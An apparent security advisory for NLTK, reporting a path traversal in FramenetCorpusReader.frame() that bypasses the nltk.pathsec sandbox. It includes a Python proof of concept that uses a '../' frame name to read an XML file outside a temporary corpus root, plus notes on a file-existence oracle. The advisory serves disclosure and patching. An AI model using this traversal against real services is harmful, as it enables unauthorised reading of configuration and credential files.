Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True)

### Summary `FramenetCorpusReader.frame(name)` interpolates a caller-supplied frame name into an XML file path that is read with the builtin `open()`, bypassing `CorpusReader.open()` and the `nltk.pathsec` sandbox — including strict `ENFORCE=True` mode. A `../` sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller. ### Details `frame_by_name` builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed `.xml` extension, with no containment check, then constructs an `XMLCorpusView` from that **string** path. Because the view is built from a string rather than a `PathPointer`, it reads with the builtin `open()`, so `nltk.pathsec.validate_path()` is never invoked and `ENFORCE=True` does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; `frame_by_name` never goes through `CorpusReader.open()`, so that protection does not apply. The same string-path-into-`XMLCorpusView` pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller: - `doc()` — uses the index entry `filename` field - the lexical-unit file loader — uses the `lexUnit` ID attribute These are reachable through a malicious or attacker-modified FrameNet corpus index. ### PoC ```python """ import os import sys import tempfile import warnings from pathlib import Path warnings.filterwarnings("ignore") # --- Turn the documented strict sandbox ON, before importing the reader. --- import nltk.pathsec as ps ps.ENFORCE = True import nltk from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError FRAME_XML = ( '<?xml version="1.0" encoding="UTF-8"?>\n' '<frame xmlns="http://framenet.icsi.berkeley.edu" ID="1337" name="pwned">\n' "<definition>SECRET-OUT-OF-ROOT-CONTENT</definition>\n" "</frame>\n" ) BANNER = """\ =========================================================== NLTK FramenetCorpusReader.frame() Path Traversal PoC nltk {ver} | nltk.pathsec.ENFORCE = {enforce} ===========================================================""".format( ver=nltk.__version__, enforce=ps.ENFORCE ) def build_corpus(): """Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root.""" base = Path(tempfile.mkdtemp(prefix="fn_poc_")) root = base / "corpora" / "framenet" for d in ("frame", "fulltext", "lu"): (root / d).mkdir(parents=True) (root / "frameIndex.xml").write_text( '<?xml version="1.0"?><frameIndex></frameIndex>' ) (root / "frRelation.xml").write_text( '<?xml version="1.0"?><frameRelations></frameRelations>' ) # A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target). secret = base / "private" secret.mkdir() (secret / "secret.xml").write_text(FRAME_XML) return base, root, secret / "secret.xml" def main(): print(BANNER) base, root, secret_path = build_corpus() print(f"[*] corpus root : {root}") print(f"[*] secret file : {secret_path} (OUTSIDE the root)\n") fn = FramenetCorpusReader(str(root), []) # Attacker-controlled frame name climbs out of <root>/frame/ up to <base>/private/secret.xml evil = os.path.join("..", "..", "..", "private", "secret") print(f"[*] calling fn.frame({evil!r})") try: f = fn.frame(evil) definition = f["definition"] if "SECRET-OUT-OF-ROOT-CONTENT" in definition: print("\n [VULN] out-of-root file was read and returned to caller") print(f" frame name : {evil}") print(f" frame ID : {f['ID']} name: {f['name']}") print(f" definition : {definition}") print(f"\n -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}") verdict = "VULNERABLE" else: print(f"\n [?] frame() returned but content unexpected: {definition!r}") verdict = "INCONCLUSIVE" except FramenetError as e: # Patched build (#3581): _reject_unsafe_path_component raises before open(). print(f"\n [SAFE] FramenetError: {e}") print(" traversal rejected before any file was opened (patched)") verdict = "NOT VULNERABLE" except Exception as e: print(f"\n [SAFE] {type(e).__name__}: {e}") verdict = "NOT VULNERABLE" # Control: a plain absent name must fail as 'Unknown frame', NOT as a read. print("\n[CONTROL] benign absent name should be 'Unknown frame':") try: fn.frame("Definitely_Not_A_Frame") print(" [?] unexpectedly succeeded") except Exception as e: print(f" ok -> {type(e).__name__}: {e}") print("\n" + "=" * 59) print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})") print("=" * 59) if __name__ == "__main__": main() ``` ### Impact - **Out-of-sandbox arbitrary XML read.** Any application that routes attacker-influenced input into `frame()` can be made to read XML files from directories outside the intended corpus root and have their parsed content returned. `frame()` is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input. - **Broad read primitive.** Only a fixed `.xml` extension is appended; the attacker controls both directory and basename, giving "read any XML file the process can read." Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths. - **Silent bypass of an advertised boundary.** NLTK's `SECURITY.md` presents the `nltk.pathsec` sandbox and `ENFORCE=True` as a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Because `frame_by_name` builds the path itself and reads through a string-path `XMLCorpusView`, the containment guard is never called and `ENFORCE=True` does not block the read — silently, with no error or warning. - **Crafted-corpus reach.** Via `doc()` and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name. - **Sensitive targets.** Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where `frame()` output is reflected to the requester, disclosure is direct and non-blind.